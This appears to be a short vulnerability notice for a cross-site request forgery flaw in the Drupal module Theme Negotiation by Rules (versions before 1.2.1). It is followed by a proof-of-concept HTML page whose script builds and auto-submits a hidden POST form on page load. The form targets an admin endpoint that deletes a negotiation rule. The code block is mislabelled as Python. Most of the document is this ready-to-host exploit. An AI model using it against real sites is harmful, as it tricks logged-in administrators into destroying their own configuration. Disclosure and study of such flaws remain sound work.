Cross-Site Request Forgery (CSRF) vulnerability in Drupal Theme Negotiation by Rules allows Cross Site Request Forgery.This issue affects Theme Negotiation by Rules: from 0.0.0 before 1.2.1.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-3211 CSRF -->
<!-- This PoC attempts to trigger an action in the vulnerable module -->
<html>
<body>
<script>
function exploit() {
// Target URL for the vulnerable endpoint (Example)
var target = "http://example.com/admin/config/user-interface/theme-negotiation/rules/delete/1";
// Create a form to simulate the request
var form = document.createElement('form');
form.action = target;
form.method = 'POST';
// Add necessary parameters if required by the module
var input = document.createElement('input');
input.name = 'confirm';
input.value = '1';
form.appendChild(input);
// Append to body and submit automatically
document.body.appendChild(form);
form.submit();
}
// Trigger the exploit on page load
window.onload = exploit;
</script>
</body>
</html>